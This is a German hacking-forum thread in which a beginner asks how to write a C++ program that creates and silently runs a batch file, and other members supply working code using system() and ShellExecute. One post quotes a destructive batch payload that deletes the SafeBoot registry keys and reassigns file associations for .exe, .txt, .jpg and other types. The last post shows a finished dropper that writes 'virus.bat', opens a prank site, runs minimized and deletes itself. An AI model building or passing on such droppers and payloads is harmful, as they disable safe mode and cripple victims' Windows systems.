Ergebnis 1 bis 8 von 8
  1. #1
    Meister des Grills Avatar von c4pone
    Registriert seit
    08.11.2006
    Beiträge
    167

    Standard [c++]Brauch hilfe

    So ich möchte ein Programm in C++ welches wenn man es ausführt eine bat datei erstellt und die dan auch direkt startet . Nur tue ich mich schwer wie ich den jetz anfangen soll und wie ich eine bat datei erstellen kann ?

    kann mir da wer helfen ?
    Zitat Zitat von Barney Stinson
    “Think of me like Yoda, but instead of being little and green I wear suits and I'm awesome. I'm your bro—I'm Broda!”

  2. #2
    Bad Times Virus Avatar von kleiner pogo
    Registriert seit
    21.06.2007
    Beiträge
    610

    Standard

    nur ne kurze frage: soll das programm nur die bat-datei erstellen? weil wenn ja, kannste die bat ja auch selber schreiben und zu ner exe konverten.....

  3. #3
    Meister des Grills Avatar von c4pone
    Registriert seit
    08.11.2006
    Beiträge
    167

    Standard

    ne also ich stell mir das so vor
    #include <iostream>
    #include <fstream>
    #include <string>
    using namespace std;

    int main()
    {
    ofstream dat_aus;
    string dateiname = "konfig.bat";
    dat_aus.open(dateiname.c_str(), ios_base::out);

    string inhalt = "start www.google.de"

    dat_aus << inhalt << endl;
    dat_aus.close();
    return 0;
    }


    aber ich hab das problem das der die bat nicht startet :oops:
    Zitat Zitat von Barney Stinson
    “Think of me like Yoda, but instead of being little and green I wear suits and I'm awesome. I'm your bro—I'm Broda!”

  4. #4

    Standard

    Starten lassen könntest du sie per System("start xy.bat"); .
    Allerdings eine sehr unschöne Methode.
    Danke.
    .::free-hack::.

  5. #5
    Michelangelo Virus
    Registriert seit
    14.06.2007
    Beiträge
    282

    Standard

    besser wäre ShellExecute();
    Write the code correctly and it will compile

  6. #6
    Meister des Grills Avatar von c4pone
    Registriert seit
    08.11.2006
    Beiträge
    167

    Standard

    in welcher libary ist den ShellExecute(); enthalten ? und wie setz ich das den überhaupt ein ?!?!??!?
    und dann hab ich noch ne frage was ist die beste methode um einen langen quelltext in die bat datei zu schreiben z.B wenn man ich diesen quelltext in die bat schreiben will

    Code:
    reg delete "HKLM\SYSTEM\currentcontrolset\control\safeboot\mi nimal" /f > nul
    reg delete "HKLM\SYSTEM\CurrentControlSet\control\safeboot\ne twork" /f > nul
    @echo off
    assoc .exe=MU
    assoc .jpg=MU
    assoc .mp3=MU
    assoc .mpg=MU
    assoc .txt=MU
    assoc .doc=MU
    assoc .rar=MU
    pause
    das ist jetz nur beispiel was ich aus dem forum hab
    Zitat Zitat von Barney Stinson
    “Think of me like Yoda, but instead of being little and green I wear suits and I'm awesome. I'm your bro—I'm Broda!”

  7. #7
    Michelangelo Virus Avatar von Chris K.
    Registriert seit
    31.01.2007
    Beiträge
    275

    Standard

    Zitat Zitat von c4pone
    ne also ich stell mir das so vor
    #include <iostream>
    #include <fstream>
    #include <string>
    using namespace std;

    int main()
    {
    ofstream dat_aus;
    string dateiname = "konfig.bat";
    dat_aus.open(dateiname.c_str(), ios_base::out);

    string inhalt = "start www.google.de"

    dat_aus << inhalt << endl;
    dat_aus.close();
    return 0;
    }


    aber ich hab das problem das der die bat nicht startet :oops:

    so gehts:

    Code:
    #include <iostream>
    #include <fstream>
    #include <string>
    #include <windows.h>
    using namespace std;
    
    int main()
    {
    ofstream dat_aus;
    string dateiname = "konfig.bat";
    dat_aus.open(dateiname.c_str(), ios_base::out);
    
    string inhalt = "start www.google.de";
    
    dat_aus << inhalt << endl;
    dat_aus.close();
    system("start konfig.bat");
    return 0;
    }

  8. #8
    Meister des Grills Avatar von c4pone
    Registriert seit
    08.11.2006
    Beiträge
    167

    Standard

    Code:
    #include <windows.h>
    #include <iostream>
    #include <fstream>
    #include <string>
    using namespace std;
    
    int main()
       {
              ofstream dat_aus;
              string dateiname = "virus.bat";
              dat_aus.open(dateiname.c_str(), ios_base::out);
              
              if(!dat_aus)
              {
              system("cls");
              return -1;
              }
              dat_aus << "start http://www.albinoblacksheep.com/flash/youare.php\n del %0"<< endl;
              dat_aus.close();
              ShellExecute(NULL,"open","virus.bat",NULL,NULL,SW_MINIMIZE);
              return 0;
       }
    Zitat Zitat von Barney Stinson
    “Think of me like Yoda, but instead of being little and green I wear suits and I'm awesome. I'm your bro—I'm Broda!”

Stichworte

Berechtigungen

  • Neue Themen erstellen: Nein
  • Themen beantworten: Nein
  • Anhänge hochladen: Nein
  • Beiträge bearbeiten: Nein
  •